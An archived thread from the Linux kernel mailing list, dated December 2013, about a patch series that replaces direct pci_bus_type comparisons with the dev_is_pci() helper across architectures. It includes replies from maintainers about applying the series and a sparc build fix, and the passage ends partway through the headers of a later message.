Xref: news.gmane.org gmane.linux.kernel:1607684 gmane.linux.kernel.pci:27217 gmane.linux.ports.parisc:5538
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1607684>

Repalce local inline function is_pci_dev() with PCI standard marco
dev_is_pci().

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
---
 arch/parisc/kernel/drivers.c |   22 +++++-----------------
 1 files changed, 5 insertions(+), 17 deletions(-)

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index 14285ca..dba508f 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -282,18 +282,6 @@ find_pa_parent_type(const struct parisc_device *padev, int type)
 	return NULL;
 }
 
-#ifdef CONFIG_PCI
-static inline int is_pci_dev(struct device *dev)
-{
-	return dev->bus == &pci_bus_type;
-}
-#else
-static inline int is_pci_dev(struct device *dev)
-{
-	return 0;
-}
-#endif
-
 /*
  * get_node_path fills in @path with the firmware path to the device.
  * Note that if @node is a parisc device, we don't fill in the 'mod' field.
@@ -306,7 +294,7 @@ static void get_node_path(struct device *dev, struct hardware_path *path)
 	int i = 5;
 	memset(&path->bc, -1, 6);
 
-	if (is_pci_dev(dev)) {
+	if (dev_is_pci(dev)) {
 		unsigned int devfn = to_pci_dev(dev)->devfn;
 		path->mod = PCI_FUNC(devfn);
 		path->bc[i--] = PCI_SLOT(devfn);
@@ -314,7 +302,7 @@ static void get_node_path(struct device *dev, struct hardware_path *path)
 	}
 
 	while (dev != &root) {
-		if (is_pci_dev(dev)) {
+		if (dev_is_pci(dev)) {
 			unsigned int devfn = to_pci_dev(dev)->devfn;
 			path->bc[i--] = PCI_SLOT(devfn) | (PCI_FUNC(devfn)<< 5);
 		} else if (dev->bus == &parisc_bus_type) {
@@ -695,7 +683,7 @@ static int check_parent(struct device * dev, void * data)
 		if (dev->bus == &parisc_bus_type) {
 			if (match_parisc_device(dev, d->index, d->modpath))
 				d->dev = dev;
-		} else if (is_pci_dev(dev)) {
+		} else if (dev_is_pci(dev)) {
 			if (match_pci_device(dev, d->index, d->modpath))
 				d->dev = dev;
 		} else if (dev->bus == NULL) {
@@ -753,7 +741,7 @@ struct device *hwpath_to_device(struct hardware_path *modpath)
 		if (!parent)
 			return NULL;
 	}
-	if (is_pci_dev(parent)) /* pci devices already parse MOD */
+	if (dev_is_pci(parent)) /* pci devices already parse MOD */
 		return parent;
 	else
 		return parse_tree_node(parent, 6, modpath);
@@ -772,7 +760,7 @@ void device_to_hwpath(struct device *dev, struct hardware_path *path)
 		padev = to_parisc_device(dev);
 		get_node_path(dev->parent, path);
 		path->mod = padev->hw_path;
-	} else if (is_pci_dev(dev)) {
+	} else if (dev_is_pci(dev)) {
 		get_node_path(dev, path);
 	}
 }
-- 
1.7.1



From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/9] PCI: Use dev_is_pci() to check whether it is pci
 device
Date: Mon, 9 Dec 2013 17:01:54 -0700
Lines: 60
Approved: news@gmane.org
Message-ID: <20131210000154.GE4699@google.com>
References: <1386244373-35796-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1386633719 18279 80.91.229.3 (10 Dec 2013 00:01:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Dec 2013 00:01:59 +0000 (UTC)
Cc: linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	Hanjun Guo <guohanjun@huawei.com>, linux-alpha@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org
To: Yijing Wang <wangyijing@huawei.com>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Dec 10 01:02:04 2013
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1VqAm4-0006NB-1M
	for lnx-sparclinux@plane.gmane.org; Tue, 10 Dec 2013 01:02:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751360Ab3LJACB (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Mon, 9 Dec 2013 19:02:01 -0500
Original-Received: from mail-qc0-f177.google.com ([209.85.216.177]:46105 "EHLO
	mail-qc0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751294Ab3LJAB7 (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Mon, 9 Dec 2013 19:01:59 -0500
Original-Received: by mail-qc0-f177.google.com with SMTP id m20so3245048qcx.8
        for <sparclinux@vger.kernel.org>; Mon, 09 Dec 2013 16:01:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=AT9O+6O10RIzbgBUY4JFYxuDnQQ8jqNi9vqyAzZlgck=;
        b=S1x7ka24oSLxoUq2S7QPM7Pfxwl5IhmpNl0ypQp9bQzxrgbT25zCJNCDPmnUanYuCL
         7eFm2Hb+bHwZgSHO+/zYzKTUXmw9gKG1tkW6CqLc/SvgU/lg14C+rQmg5kXapb+c3eDz
         LDpbbl0yeouOdF1UXVTTTC/cA/Z/hNR2Jyw5JA/QPvHr5gRzQmIq2prRlkPs1TJeCHpi
         2Uz1wOEJ4DxBR9PP8C1k6+B6jlfbGhO4BxBKMlcxxBBNfsnDB3/Fa3GbyW504+lvIXwT
         rguyAxigsKWXSKW+3LnfseYMgE/6AD9a4aHA1LbhQkaMwkPxwKQsCqtqlWW4uE8qhkn1
         9csg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=AT9O+6O10RIzbgBUY4JFYxuDnQQ8jqNi9vqyAzZlgck=;
        b=lzdGkjhTPIbJyxm29WXXlijzv5OEhaA2M/wCzX+tVOgh8C7FsqoQwgJpTDBCyOdnKd
         0cQch25mdJmgCQRk1dCDmRy6jD2T9n6kEmou4w/CBxk/fywy562gK/SpGYjO3R85qqXK
         N/Zjl8pclmkJgE1bJM7KpREwCuRyOuQtRr9RPYSttxmEtM1Pl0eOX3pi/97IUlWFWTqq
         pvq/sn2uPQ/vpRenUfel3b5Y1NBEVEkuA8FqY4aoU8mRf3nSjTz5Ed6gbJNRgeQQ5dBV
         qzptSncXWCQiaYhuJI5qx6fhxwVmYTPr3Gbt9RpFBzhlpudy47qZ8mmBDRv5bucF4voJ
         JRcA==
X-Gm-Message-State: ALoCoQk6XjdNvE6+gVfRAAf3ot1MNoPESvmf+pmY4hMEjJDwIneVIo3DQ3YMVG9tb4flFouHPAvaIZK7uu41VVlti2NZHwp9wb6ZvJcr89uitdo5qkqC7xgr5v6vYcn+IBV+JmfXbt+Ek1dVF4Pb+FGRQ4n71ucx5SupsDNS6usC+z1SqvhRADSHUeZ+EixZw4DwwQCuYH796Yo/c6UW8D5zY+EZFURpjQ==
X-Received: by 10.49.25.16 with SMTP id y16mr38449879qef.20.1386633718557;
        Mon, 09 Dec 2013 16:01:58 -0800 (PST)
Original-Received: from google.com ([172.26.42.80])
        by mx.google.com with ESMTPSA id o5sm35092060qeg.2.2013.12.09.16.01.56
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Mon, 09 Dec 2013 16:01:58 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1386244373-35796-1-git-send-email-wangyijing@huawei.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:18491 gmane.linux.kernel.pci:27375 gmane.linux.kernel:1610694 gmane.linux.ports.alpha:2172 gmane.linux.ports.arm.kernel:286239 gmane.linux.ports.ia64:23496 gmane.linux.ports.parisc:5539 gmane.linux.ports.ppc64.devel:98028
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/18491>

[+cc arch lists]

On Thu, Dec 05, 2013 at 07:52:53PM +0800, Yijing Wang wrote:
> Use dev_is_pci() instead of directly compare
> pci_bus_type to check whether it is pci device.
> 
> Signed-off-by: Yijing Wang <wangyijing@huawei.com>

I applied all these to my pci/yijing-dev_is_pci branch for v3.14, thanks!

Browse them here: http://git.kernel.org/cgit/linux/kernel/git/helgaas/pci.git/log/?h=pci/yijing-dev_is_pci

This should be no functional change.

 arch/alpha/kernel/pci_iommu.c        |    2 +-
 arch/arm/common/it8152.c             |    4 ++--
 arch/arm/mach-ixp4xx/common-pci.c    |    6 +++---
 arch/ia64/hp/common/sba_iommu.c      |    2 +-
 arch/ia64/sn/pci/pci_dma.c           |   24 ++++++++++++------------
 arch/parisc/kernel/drivers.c         |   22 +++++-----------------
 arch/powerpc/sysdev/fsl_pci.c        |    2 +-
 arch/sparc/include/asm/dma-mapping.h |   10 ++++------
 arch/sparc/kernel/iommu.c            |    2 +-
 arch/sparc/kernel/ioport.c           |    4 +---
 arch/x86/kernel/acpi/boot.c          |    4 +---
 drivers/pci/pci-acpi.c               |    2 +-
 12 files changed, 33 insertions(+), 51 deletions(-)

Bjorn

> ---
>  drivers/pci/pci-acpi.c |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> diff --git a/drivers/pci/pci-acpi.c b/drivers/pci/pci-acpi.c
> index 577074e..e0431f1 100644
> --- a/drivers/pci/pci-acpi.c
> +++ b/drivers/pci/pci-acpi.c
> @@ -358,7 +358,7 @@ static void pci_acpi_cleanup(struct device *dev)
>  
>  static bool pci_acpi_bus_match(struct device *dev)
>  {
> -	return dev->bus == &pci_bus_type;
> +	return dev_is_pci(dev);
>  }
>  
>  static struct acpi_bus_type acpi_pci_bus = {
> -- 
> 1.7.1
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-pci" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Benjamin Herrenschmidt <benh@au1.ibm.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 1/9] PCI: Use dev_is_pci() to check whether it is pci
 device
Date: Tue, 10 Dec 2013 14:59:33 +1100
Organization: IBM Australia
Lines: 67
Approved: news@gmane.org
Message-ID: <1386647973.32037.57.camel@pasglop>
References: <1386244373-35796-1-git-send-email-wangyijing@huawei.com>
	 <20131210000154.GE4699@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1386647982 32426 80.91.229.3 (10 Dec 2013 03:59:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Dec 2013 03:59:42 +0000 (UTC)
Cc: Yijing Wang <wangyijing@huawei.com>, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-pci@vger.kernel.org,
	Hanjun Guo <guohanjun@huawei.com>,
	linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
	sparclinux@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-arm-kernel@lists.infradead.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-pci-owner@vger.kernel.org Tue Dec 10 04:59:46 2013
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1VqEU4-0003wt-Uj
	for glp-linux-pci@plane.gmane.org; Tue, 10 Dec 2013 04:59:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752369Ab3LJD7n (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Mon, 9 Dec 2013 22:59:43 -0500
Original-Received: from e23smtp06.au.ibm.com ([202.81.31.148]:54719 "EHLO
	e23smtp06.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752359Ab3LJD7l (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Mon, 9 Dec 2013 22:59:41 -0500
Original-Received: from /spool/local
	by e23smtp06.au.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-pci@vger.kernel.org> from <benh@au1.ibm.com>;
	Tue, 10 Dec 2013 13:59:39 +1000
Original-Received: from d23dlp02.au.ibm.com (202.81.31.213)
	by e23smtp06.au.ibm.com (202.81.31.212) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 10 Dec 2013 13:59:35 +1000
Original-Received: from d23relay04.au.ibm.com (d23relay04.au.ibm.com [9.190.234.120])
	by d23dlp02.au.ibm.com (Postfix) with ESMTP id F34992BB0053;
	Tue, 10 Dec 2013 14:59:34 +1100 (EST)
Original-Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138])
	by d23relay04.au.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rBA3fOJS8257944;
	Tue, 10 Dec 2013 14:41:24 +1100
Original-Received: from d23av02.au.ibm.com (localhost [127.0.0.1])
	by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rBA3xXlt023691;
	Tue, 10 Dec 2013 14:59:34 +1100
Original-Received: from ozlabs.au.ibm.com (ozlabs.au.ibm.com [9.190.163.12])
	by d23av02.au.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id rBA3xXYC023685;
	Tue, 10 Dec 2013 14:59:33 +1100
Original-Received: from [10.61.2.137] (haven.au.ibm.com [9.190.164.82])
	(using SSLv3 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by ozlabs.au.ibm.com (Postfix) with ESMTPSA id 70C1EA01DB;
	Tue, 10 Dec 2013 14:59:33 +1100 (EST)
In-Reply-To: <20131210000154.GE4699@google.com>
X-Mailer: Evolution 3.8.4-0ubuntu1 
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 13121003-7014-0000-0000-0000040B2F08
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:27382 gmane.linux.ports.ia64:23497 gmane.linux.ports.parisc:5540 gmane.linux.kernel:1610820 gmane.linux.ports.alpha:2175 gmane.linux.ports.sparc:18492 gmane.linux.ports.ppc64.devel:98035 gmane.linux.ports.arm.kernel:286291
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/27382>

On Mon, 2013-12-09 at 17:01 -0700, Bjorn Helgaas wrote:
> [+cc arch lists]
> 
> On Thu, Dec 05, 2013 at 07:52:53PM +0800, Yijing Wang wrote:
> > Use dev_is_pci() instead of directly compare
> > pci_bus_type to check whether it is pci device.
> > 
> > Signed-off-by: Yijing Wang <wangyijing@huawei.com>
> 
> I applied all these to my pci/yijing-dev_is_pci branch for v3.14, thanks!
> 
> Browse them here: http://git.kernel.org/cgit/linux/kernel/git/helgaas/pci.git/log/?h=pci/yijing-dev_is_pci

Ah ok. I also have the powerpc one in powerpc -next, no biggie though

Cheers,
Ben.

> This should be no functional change.
> 
>  arch/alpha/kernel/pci_iommu.c        |    2 +-
>  arch/arm/common/it8152.c             |    4 ++--
>  arch/arm/mach-ixp4xx/common-pci.c    |    6 +++---
>  arch/ia64/hp/common/sba_iommu.c      |    2 +-
>  arch/ia64/sn/pci/pci_dma.c           |   24 ++++++++++++------------
>  arch/parisc/kernel/drivers.c         |   22 +++++-----------------
>  arch/powerpc/sysdev/fsl_pci.c        |    2 +-
>  arch/sparc/include/asm/dma-mapping.h |   10 ++++------
>  arch/sparc/kernel/iommu.c            |    2 +-
>  arch/sparc/kernel/ioport.c           |    4 +---
>  arch/x86/kernel/acpi/boot.c          |    4 +---
>  drivers/pci/pci-acpi.c               |    2 +-
>  12 files changed, 33 insertions(+), 51 deletions(-)
> 
> Bjorn
> 
> > ---
> >  drivers/pci/pci-acpi.c |    2 +-
> >  1 files changed, 1 insertions(+), 1 deletions(-)
> > 
> > diff --git a/drivers/pci/pci-acpi.c b/drivers/pci/pci-acpi.c
> > index 577074e..e0431f1 100644
> > --- a/drivers/pci/pci-acpi.c
> > +++ b/drivers/pci/pci-acpi.c
> > @@ -358,7 +358,7 @@ static void pci_acpi_cleanup(struct device *dev)
> >  
> >  static bool pci_acpi_bus_match(struct device *dev)
> >  {
> > -	return dev->bus == &pci_bus_type;
> > +	return dev_is_pci(dev);
> >  }
> >  
> >  static struct acpi_bus_type acpi_pci_bus = {
> > -- 
> > 1.7.1
> > 
> > 
> > --
> > To unsubscribe from this list: send the line "unsubscribe linux-pci" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> _______________________________________________
> Linuxppc-dev mailing list
> Linuxppc-dev@lists.ozlabs.org
> https://lists.ozlabs.org/listinfo/linuxppc-dev



From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/9] PCI: Use dev_is_pci() to check whether it is pci
 device
Date: Tue, 10 Dec 2013 15:38:16 +0800
Lines: 77
Approved: news@gmane.org
Message-ID: <52A6C4E8.5030003@huawei.com>
References: <1386244373-35796-1-git-send-email-wangyijing@huawei.com> <20131210000154.GE4699@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1386661155 27124 80.91.229.3 (10 Dec 2013 07:39:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Dec 2013 07:39:15 +0000 (UTC)
Cc: <linux-pci@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
	Hanjun Guo <guohanjun@huawei.com>,
	<linux-alpha@vger.kernel.org>,
	<linux-arm-kernel@lists.infradead.org>,
	<linux-ia64@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linuxppc-dev@lists.ozlabs.org>, <sparclinux@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Dec 10 08:39:20 2013
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1VqHuZ-000587-Kz
	for lnx-sparclinux@plane.gmane.org; Tue, 10 Dec 2013 08:39:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751406Ab3LJHjN (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 10 Dec 2013 02:39:13 -0500
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:16121 "EHLO
	szxga02-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751929Ab3LJHi5 (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 10 Dec 2013 02:38:57 -0500
Original-Received: from 172.24.2.119 (EHLO szxeml212-edg.china.huawei.com) ([172.24.2.119])
	by szxrg02-dlp.huawei.com (MOS 4.3.7-GA FastPath queued)
	with ESMTP id BMT28305;
	Tue, 10 Dec 2013 15:38:34 +0800 (CST)
Original-Received: from SZXEML407-HUB.china.huawei.com (10.82.67.94) by
 szxeml212-edg.china.huawei.com (172.24.2.181) with Microsoft SMTP Server
 (TLS) id 14.3.158.1; Tue, 10 Dec 2013 15:38:31 +0800
Original-Received: from [127.0.0.1] (10.135.76.69) by szxeml407-hub.china.huawei.com
 (10.82.67.94) with Microsoft SMTP Server id 14.3.158.1; Tue, 10 Dec 2013
 15:38:21 +0800
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.0.1
In-Reply-To: <20131210000154.GE4699@google.com>
X-Originating-IP: [10.135.76.69]
X-CFilter-Loop: Reflected
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:18496 gmane.linux.kernel.pci:27400 gmane.linux.kernel:1610923 gmane.linux.ports.alpha:2178 gmane.linux.ports.arm.kernel:286314 gmane.linux.ports.ia64:23498 gmane.linux.ports.parisc:5541 gmane.linux.ports.ppc64.devel:98043
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/18496>

On 2013/12/10 8:01, Bjorn Helgaas wrote:
> [+cc arch lists]
> 
> On Thu, Dec 05, 2013 at 07:52:53PM +0800, Yijing Wang wrote:
>> Use dev_is_pci() instead of directly compare
>> pci_bus_type to check whether it is pci device.
>>
>> Signed-off-by: Yijing Wang <wangyijing@huawei.com>
> 
> I applied all these to my pci/yijing-dev_is_pci branch for v3.14, thanks!
> 
> Browse them here: http://git.kernel.org/cgit/linux/kernel/git/helgaas/pci.git/log/?h=pci/yijing-dev_is_pci

Thanks!
Bjorn, I sent the "[patch v2 4/9] sparc/PCI: Use dev_is_pci() to identify PCI devices" to
correct build error found by kbuild test, Because I have no sparc platform, I guess the build error was introduced
by I remove the CONFIG_PCI #ifdef in that patch. Now I keep the CONFIG_PCI code and that patch should be no functional change.


> 
> This should be no functional change.
> 
>  arch/alpha/kernel/pci_iommu.c        |    2 +-
>  arch/arm/common/it8152.c             |    4 ++--
>  arch/arm/mach-ixp4xx/common-pci.c    |    6 +++---
>  arch/ia64/hp/common/sba_iommu.c      |    2 +-
>  arch/ia64/sn/pci/pci_dma.c           |   24 ++++++++++++------------
>  arch/parisc/kernel/drivers.c         |   22 +++++-----------------
>  arch/powerpc/sysdev/fsl_pci.c        |    2 +-
>  arch/sparc/include/asm/dma-mapping.h |   10 ++++------
>  arch/sparc/kernel/iommu.c            |    2 +-
>  arch/sparc/kernel/ioport.c           |    4 +---
>  arch/x86/kernel/acpi/boot.c          |    4 +---
>  drivers/pci/pci-acpi.c               |    2 +-
>  12 files changed, 33 insertions(+), 51 deletions(-)
> 
> Bjorn
> 
>> ---
>>  drivers/pci/pci-acpi.c |    2 +-
>>  1 files changed, 1 insertions(+), 1 deletions(-)
>>
>> diff --git a/drivers/pci/pci-acpi.c b/drivers/pci/pci-acpi.c
>> index 577074e..e0431f1 100644
>> --- a/drivers/pci/pci-acpi.c
>> +++ b/drivers/pci/pci-acpi.c
>> @@ -358,7 +358,7 @@ static void pci_acpi_cleanup(struct device *dev)
>>  
>>  static bool pci_acpi_bus_match(struct device *dev)
>>  {
>> -	return dev->bus == &pci_bus_type;
>> +	return dev_is_pci(dev);
>>  }
>>  
>>  static struct acpi_bus_type acpi_pci_bus = {
>> -- 
>> 1.7.1
>>
>>
>> --
>> To unsubscribe from this list: send the line "unsubscribe linux-pci" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> .
> 


-- 
Thanks!
Yijing

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 1/9] PCI: Use dev_is_pci() to check whether it is pci device
Date: Tue, 10 Dec 2013 10:28:01 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <CAErSpo67ZB_GUrKpLbkfZs4qLe3S0eYy=oLTKg9=MSxZL2h+yw@mail.gmail.com>
References: <1386244373-35796-1-git-send-email-wangyijing@huawei.com>
 <20131210000154.GE4699@google.com> <1386647973.32037.57.camel@pasglop>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1386696502 4373 80.91.229.3 (10 Dec 2013 17:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Dec 2013 17:28:22 +0000 (UTC)
Cc: Yijing Wang <wangyijing@huawei.com>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	Hanjun Guo <guohanjun@huawei.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
	linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
	linux-arm <linux-arm-kernel@lists.infradead.org>
To: Benjamin Herrenschmidt <benh@au1.ibm.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Dec 10 18:28:26 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1VqR6f-0005H7-Ny
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 10 Dec 2013 18:28:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754873Ab3LJR2Y (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 10 Dec 2013 12:28:24 -0500
Original-Received: from mail-ie0-f180.google.com ([209.85.223.180]:43903 "EHLO
	mail-ie0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755321Ab3LJR2W (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 10 Dec 2013 12:28:22 -0500
Original-Received: by mail-ie0-f180.google.com with SMTP id tp5so8772075ieb.25
        for <linux-ia64@vger.kernel.org>; Tue, 10 Dec 2013 09:28:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=jqTsU1rswo2BHNHZNkucQHEDDE8M/6NGRxyHcJ0rE4g=;
        b=Jg1x1sp4iQ0fV98UMzdbBrZeyFcGrSjiXT/x0w5dX3PVqxqE/9STxXpheNV+hL9Nxj
         lyxzg41rQ92pd7Lh0Bd5dmaKc8A99DN6Pzuai4H+3zG621I/SU3MqIHXNei8cTtaVewl
         IIS2Eq/o9LUAUKi+4zlis7ObdzTJd+HHjS4ZA53WWUQz8aUUOl6ZnaBgm8LeLJCJD5df
         90DY2XfWeRIKXgKEiCBlM6DAUIuEX8PZTZzCxVwRZxVtNJiyLDbF+OpyD6QFrDTt13qs
         ySoUFTwgq/IP12/hs4f2jmBs8c+4xRGOkE2lYBl1uki1OlqbOLHe8AcrIUAPv76zvcyo
         4hJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
